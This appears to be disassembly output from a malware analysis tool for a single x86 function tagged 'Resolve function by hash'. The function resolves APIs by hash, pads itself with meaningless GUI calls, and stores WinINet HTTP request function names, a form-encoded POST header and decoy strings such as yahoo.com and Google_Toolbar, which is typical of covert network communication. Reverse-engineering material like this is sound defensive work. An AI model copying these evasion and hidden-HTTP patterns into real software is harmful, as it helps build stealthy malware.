Function at 0x10002730
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
mov dword [ebp - 0x540], ecx
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x410], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x40c], str.Word
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0xf0], ecx
push 0x1001a190
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xe8], eax
push 0x1001a3dc
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov edx, dword [ebp - 0xe8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x540]
mov dword [ecx + 0xc], eax
push 0x1001a3f0
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov edx, dword [ebp - 0xe8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x540]
mov dword [ecx + 0x10], eax
push 0x7c0dfcaa
mov edx, dword [ebp - 0xe8]
push edx
call fcn.10004d40
add esp, 8
mov ecx, dword [ebp - 0x540]
mov dword [ecx + 0x10], eax
push str._f_r__f_b_b
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov edx, dword [ebp - 0xe8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x540]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 0x540]
mov byte [edx + 0x18], 0
mov eax, dword [ebp - 0x540]
mov dword [eax + 0x418], 0
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 2
mov dword [ebp - 0xe4], eax
push 0x1001a190
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov edx, dword [ebp - 0x540]
add edx, 0x41c
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str._n45_b
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov eax, dword [ebp - 0x540]
add eax, 0x43c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1001a3d0
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov ecx, dword [ebp - 0x540]
add ecx, 0x45c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.wininet.dll
mov edx, dword [ebp - 0x540]
add edx, 0x47c
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xe4]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0xe4], edx
push 0x1001a394
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov eax, dword [ebp - 0x540]
add eax, 0x49c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf8]
add ecx, dword [ebp - 0x41c]
mov dword [ebp - 0xf8], ecx
push 0x1001a3b0
lea ecx, [ebp - 0x3f8]
call fcn.10001980
push eax
mov edx, dword [ebp - 0x540]
add edx, 0x4bc
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x540]
mov byte [eax + 0x4dc], 0
push str.InternetOpenA
mov ecx, dword [ebp - 0x540]
add ecx, 0x5e0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.InternetConnectA
mov edx, dword [ebp - 0x540]
add edx, 0x600
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.HttpOpenRequestA
mov eax, dword [ebp - 0x540]
add eax, 0x620
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.HttpSendRequestA
mov ecx, dword [ebp - 0x540]
add ecx, 0x640
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.InternetCloseHandle
mov edx, dword [ebp - 0x540]
add edx, 0x660
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.yahoo.com
mov eax, dword [ebp - 0x540]
add eax, 0x680
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x408], ecx
lea edx, [ebp - 0x408]
push edx
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.USER32.dll_EqualRect]
push 0x100172fc
mov ecx, dword [ebp - 0x540]
add ecx, 0x6a0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Google_Toolbar
mov edx, dword [ebp - 0x540]
add edx, 0x6c0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0xf4]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push str.__111
mov ecx, dword [ebp - 0x540]
add ecx, 0x700
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0xf0]
push edx
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xf8], eax
push str.Content_Type:_application_x_www_form_urlencoded
mov ecx, dword [ebp - 0x540]
add ecx, 0x740
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x540]
mov dword [edx + 0x7c0], 0
lea eax, [ebp - 0xf0]
push eax
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0xf0]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x540]
add edx, 0x740
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x540]
mov dword [ecx + 0x7c4], eax
mov edx, dword [ebp - 0x540]
mov byte [edx + 0x7c8], 0
mov eax, dword [ebp - 0x540]
mov dword [eax + 0x7cc], 0
mov esp, ebp
pop ebp
ret